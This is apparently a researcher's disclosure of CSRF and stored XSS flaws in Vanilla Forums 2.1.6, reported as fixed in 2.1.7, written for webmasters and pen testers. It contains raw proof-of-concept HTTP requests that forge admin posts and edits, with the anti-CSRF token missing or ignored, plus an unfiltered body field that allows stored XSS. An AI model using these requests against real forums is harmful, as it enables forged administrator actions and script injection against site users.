CSRF and Stored XSS vulnerability at Vanilla 2.1.6

When I was conducting research about CSRF protection method in popular web applications  at Qualys.  As described in the research article, Vanilla Forum 2.1.6 is one of the victims that are suffering from CSRF attack though anti-CSRF tokens are deployed in the web applications. Currently, it has been fixed with VanillaForums 2.1.7

CSRF Vulnerabilities

CSRF Vulnerability 1

The CSRF vulnerability could be found at the post discussion function, which will enable an attacker to trigger the admin user to post as many malicious discussions as possible when an authenticated admin makes the following request

POC

POST /vanilla/index.php?p=/post/discussion HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 193
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920140
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=&DraftID=0&CategoryID=1&Name=CSRF_Attack&Body=Let us disscuss CSRF Here&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Post_Discussion=Post Discussion

The anti-CSRF token TransientKey  does not function because the server-side is not checking whether the anti-CSRF token TransientKey is presented or not. The request will be processed by the server-side even without the presence of the TransientKey. 

Following is the screenshot of the response by triggering the admin to make the request. As you could find, a new discussion with name “CSRF_Attack” will be posted at the main pages of the website.

CSRF Vulnerability 2

This vulnerability will allow an attacker to change/edit all the posted discussion in the forums by triggering admin user to make the following request.

POC

POST /vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 167
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=1&DraftID=0&CategoryID=1&Name=BAM!+CSRF+Attack+Here+Watch+Out&Body=CSRF_Attack&Format=Html&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Save=Save

Similar to the previous CSRF vulnerability, this vulnerability was exposed because the server side does not check the anit-CSRF token when processing this request.

XSS Vulnerability

Besides the CSRF vulnerability, actually there is an XSS vulnerability in the edit discussion function as well.

POC

POST / vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host:yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding:gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 221
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
  Connection: keep-alivePragma: no-cache
Cache-Control: no-cache

hpt=&DiscussionID=1&DraftID=0&CategoryID=1&Name=BAM!+CSRF+Attack+Here+Watch+Ou&Body=CSRF_Attackt_XSS_Injection_Code&Format=&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Save=Save

The injected XSS codes will not be filtered on the server and it will be executed directly on the browser .http://yourhost/vanilla/index.php?p=/discussion/1/, since the XSS code are the content of the discussion, which will be a store XSS vulnerability.

Conclusion

As a web master, the presence of anti-CSRF token in the web application does not mean the web application is protected from CSRF attacking since the developer might forget to add the server-side validation to check whether the CSRF token is valid or not, you should double-check whether the anti-CSRF token is probably deployed.

As a pen tester, you should not stand off if you saw the csrf tokens in the html page. Just spend several seconds to check whether the anti-CSRF token is working, you might find a big rewards behind it.